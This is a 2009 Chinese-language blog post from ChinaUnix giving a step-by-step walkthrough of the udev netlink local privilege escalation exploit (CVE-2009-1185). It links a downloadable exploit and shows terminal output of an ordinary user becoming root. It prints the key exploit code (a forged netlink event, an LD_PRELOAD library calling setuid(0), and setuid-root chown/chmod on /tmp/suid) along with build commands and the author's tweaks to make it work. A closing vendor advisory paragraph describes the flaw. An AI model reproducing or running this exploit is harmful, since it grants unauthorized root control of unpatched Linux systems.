Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1724619
  • 博文数量: 293
  • 博客积分: 10574
  • 博客等级: 上将
  • 技术积分: 5085
  • 用 户 组: 普通用户
  • 注册时间: 2006-12-22 17:00
文章分类

全部博文(293)

文章存档

2011年(27)

2010年(84)

2009年(62)

2008年(120)

我的朋友

分类: LINUX

2009-04-27 22:51:55

1. 在LINUX目录下建立test 帐户
2.下载 a脚本 在

3.查看UDEV的PID  方法一: 先cat /proc/net/netlink
ffff810077587400 15  364    ffffffff 0        0        0000000000000000 2
ffff810037f81000 16  0      00000000 0        0        0000000000000000 2
ffff810077078400 18  0      00000000 0        0        0000000000000000 2
那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2
方法二:
另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本
然后在test 用户的当前目录 里
按以下步骤运行
[haha@localhost ~]$ id
uid=501(haha) gid=502(haha) groups=502(haha)
[haha@localhost ~]$sh a 364
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# id
uid=0(root) gid=0(root) groups=502(haha)
此时的UID 变为0了 ,test用户已经变为 ROOT用户 可以继续以下
sh-3.1# bash
[root@localhost ~]#
看!test -> ROOT 用户大变身!!

说说我的测试版本[root@localhost ~]# uname -a
Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:14 EST 2007 x86_64 x86_64 x86_64 GNU/Linux

目前RH5 和UBANTU 以及DABIAN都测试通过了 但是TURBOLINUX上没有测试通过..
文件: Linux Kernel 2_6 UDEV Local Privilege Escalation Exploit.rar
大小: 1KB
下载: 下载
转自:
 
这个脚本在我的FC上不完全能成功。
能看到/dev/foo这个设备
能看到有个root身份的sh在运行。
所以原理上是可以的,可能execl有些问题,我稍微改了一些就好了

简单解释一下:
程序有3部分:
udev.c:  触发udev, 装载一个块设备
     sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
关键的一点是,触发一个init()调用,而这个init()函数在下面的program里被重定义了。而这个调用是以root身份进行的。


program.c: 关键
setgid(0);
setuid(0); //得到root身份,之后你可以用任何C,比如 FILE * fp=fopen("/test","w"); fprintf(fp, "ttttt");fclose(fp); 在根路径下建个文件
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);//关键: 对/tmp/suid/ 设置为owner=root, set uid bit, 这个普通用户也能以root身份运行这个suid程序。但我的机器上,execl调用有些问题,我就这么改:
chown(“/tmp/suid",0,0);
  chmod("/tmp/suid",04777);

//以上把/tmp/suid 改成任何你想以root身份运行的程序都可以,比如/bin/bash,  
编译
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 init.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
这样, /tmp/libno_ex.so和原来的libno_ex.so的区别就是新的那个里有自定义的_init()


suid.c: 一个普通的程序,调用/bin/bash/,非必要程序

脚本其他部分就是使得hack傻瓜化,自动化
 
------------------------------------------
 
 
问题描述:

udev提供用户空间API并在系统中仅存在设备的情况下实现动态设备目录。udev取代了
devfs以提供更强大的热插拔功能。Netlink是面向数据报的服务,用于在内核模块与
用户空间进程之间传输信息。

udev没有正确的检查Netlink消息的来源,本地攻击者可以利用这个漏洞向udev发送特
制的Netlink消息,导致其创建已有系统块设备(如root文件系统)完全可写的块设备
文件,以获得root权限。(CVE-2009-1185)

Red Hat感谢SUSE安全小组的Sebastian Krahmer负责任的报告了这个漏洞。

建议udev用户升级到这些包含有修复漏洞后端移植补丁的新版软件包。安装更新后,
udev守护程序会自动重启。
阅读(2206) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~